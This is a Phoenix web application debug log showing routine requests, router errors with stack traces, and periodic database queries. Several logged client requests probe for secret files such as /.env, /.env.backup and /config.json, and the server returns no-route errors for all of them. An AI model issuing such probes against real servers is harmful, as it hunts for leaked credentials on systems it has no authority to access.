    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:33.787000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33390] GET /
[Sat Sep  5 01:59:33.787000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:33390] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Sat Sep  5 01:59:33.788000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33390] Sent 200 in 843µs
[Sat Sep  5 01:59:33.990000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:39204] GET /@hmr.mjs
[Sat Sep  5 01:59:34.014000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:39204] ** (Phoenix.Router.NoRouteError) no route found for GET /@hmr.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:34.033000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:57272] GET /__hmrClient
[Sat Sep  5 01:59:34.053000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:57272] ** (Phoenix.Router.NoRouteError) no route found for GET /__hmrClient (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:34.184000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33402] GET /
[Sat Sep  5 01:59:34.184000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:33402] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Sat Sep  5 01:59:34.185000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:33402] Sent 200 in 802µs
[Sat Sep  5 01:59:34.433000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:57272] GET /__hmrClient.js
[Sat Sep  5 01:59:34.451000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:57272] ** (Phoenix.Router.NoRouteError) no route found for GET /__hmrClient.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:34.495000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:39182] GET /__hmrClient.mjs
[Sat Sep  5 01:59:34.515000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:39182] ** (Phoenix.Router.NoRouteError) no route found for GET /__hmrClient.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 01:59:35.285000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:47252] GET /
[Sat Sep  5 01:59:35.285000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:47252] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Sat Sep  5 01:59:35.286000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:47252] Sent 200 in 1ms
[Sat Sep  5 01:59:35.525000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:64694] GET /
[Sat Sep  5 01:59:35.525000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:64694] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Sat Sep  5 01:59:35.525000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:64694] Sent 200 in 861µs
[Sat Sep  5 01:59:35.714000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:53754] GET /
[Sat Sep  5 01:59:35.714000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:53754] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Sat Sep  5 01:59:35.715000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:53754] Sent 200 in 819µs
[Sat Sep  5 01:59:35.911000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:64700] GET /
[Sat Sep  5 01:59:35.911000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:64700] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Sat Sep  5 01:59:35.911000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:64700] Sent 200 in 923µs
[Sat Sep  5 02:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1040.9ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 02:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.7ms idle=1020.3ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 02:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1992.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 02:30:01.227000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.8ms idle=1500.2ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-05 02:30:01Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Sat Sep  5 02:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.4ms idle=1972.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 02:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1954.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 02:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=932.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 03:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.4ms idle=1919.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 03:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1884.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 03:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1865.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 03:27:19.332000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 03:27:25.187000 2026] [Phoenix.Logger:info] [pid 2816631] [client 91.230.168.102:48049] GET /
[Sat Sep  5 03:27:25.187000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 91.230.168.102:48049] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Sat Sep  5 03:27:25.188000 2026] [Phoenix.Logger:info] [pid 2816631] [client 91.230.168.102:48049] Sent 200 in 1ms
[Sat Sep  5 03:34:32.539000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 03:34:43.414000 2026] [Phoenix.Logger:info] [pid 2816631] [client 152.32.200.117:33840] GET /
[Sat Sep  5 03:34:43.414000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 152.32.200.117:33840] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Sat Sep  5 03:34:43.415000 2026] [Phoenix.Logger:info] [pid 2816631] [client 152.32.200.117:33840] Sent 200 in 1ms
[Sat Sep  5 03:35:03.674000 2026] [Phoenix.Logger:info] [pid 2816631] [client 152.32.200.117:50388] GET /sitemap.xml
[Sat Sep  5 03:35:03.724000 2026] [Plug.Debugger:debug] [pid 2816631] [client 152.32.200.117:50388] ** (Phoenix.Router.NoRouteError) no route found for GET /sitemap.xml (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 03:35:04.476000 2026] [Phoenix.Logger:info] [pid 2816631] [client 152.32.200.117:50390] GET /config.json
[Sat Sep  5 03:35:04.501000 2026] [Plug.Debugger:debug] [pid 2816631] [client 152.32.200.117:50390] ** (Phoenix.Router.NoRouteError) no route found for GET /config.json (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 03:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1842.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 03:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.8ms idle=1816.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 03:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1794.3ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 04:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1772.3ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 04:16:24.705000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.3ms idle=1748.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 04:26:24.708000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=2.4ms idle=1723.1ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 04:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.4ms idle=1701.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 04:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1670.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 04:56:24.705000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.4ms idle=1635.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 05:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1615.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 05:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1577.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 05:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.4ms idle=1554.9ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 05:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms queue=0.4ms idle=1531.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 05:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1510.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 05:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1492.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 06:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1474.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 06:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.7ms idle=1454.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 06:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.4ms idle=1434.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 06:30:00.585000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.8ms idle=315.7ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-05 06:30:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Sat Sep  5 06:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1424.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 06:44:36.172000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.65.213.81:33608] GET /.env
[Sat Sep  5 06:44:36.232000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.65.213.81:33690] GET /crusader-404-probe
[Sat Sep  5 06:44:36.239000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.65.213.81:33608] ** (Phoenix.Router.NoRouteError) no route found for GET /.env (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 06:44:36.295000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.65.213.81:33690] ** (Phoenix.Router.NoRouteError) no route found for GET /crusader-404-probe (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 06:44:36.360000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.65.213.81:33638] GET /.env.backup
